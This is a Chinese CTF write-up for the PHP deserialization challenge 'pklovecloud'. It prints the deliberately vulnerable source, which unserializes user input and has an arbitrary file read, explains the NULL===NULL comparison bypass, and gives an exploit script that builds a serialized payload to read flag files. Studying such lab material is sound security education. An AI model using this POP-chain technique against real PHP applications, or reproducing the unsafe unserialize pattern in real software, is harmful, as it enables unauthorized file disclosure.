NSS [第五空间 2021]pklovecloud

简介: NSS [第五空间 2021]pklovecloud

NSS [第五空间 2021]pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

本题考查反序列化,关键是绕过这里

if($this->openstack->neutron === $this->openstack->nova)

绕过方式是使用NULL===NULL

由于这里

$this->openstack = unserialize($this->docker);

当docker为空时,this->openstack自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。

测试

<?php

$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>

链子:echo->acp::toString()->ace::echo_name()

exp:

<?php
class acp 
{   
    protected $cinder;  
    function __construct() 
    {      
        $this->cinder = new ace;   //有修改
    }  
 
}  
class ace
{    
    public $filename="flag.php";     //之后改成../nssctfasdasdflag
    public $openstack;
    public $docker; 
}  
$jay17 = new acp();
echo urlencode(serialize($jay17));

被骗了,flag在 …/nssctfasdasdflag

目录
相关文章
|
前端开发 Shell Linux
[网鼎杯 2020 白虎组]PicDown(精讲)
[网鼎杯 2020 白虎组]PicDown(精讲)
759 0
[网鼎杯 2020 白虎组]PicDown(精讲)
BUUCTF [WUSTCTF2020]爬 1
BUUCTF [WUSTCTF2020]爬 1
687 0
|
9月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2739 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
SQL Python
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
1844 0
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
NSS [HNCTF 2022 WEEK2]ez_ssrf
NSS [HNCTF 2022 WEEK2]ez_ssrf
246 0
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
2852 1
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
2277 5
|
Web App开发 存储 安全
就一次!带你彻底搞懂CSRF攻击与防御
与XSS攻击相比,利用CSRF漏洞发动攻击会比较困难,这也是在网络上看起来CSRF的人气小于XSS的原因之一。下面我们来利用CSRF漏洞发起攻击,并针对攻击进行防御,彻底弄懂CSRF,话不多说,我们直接开冲。
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
8216 3
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)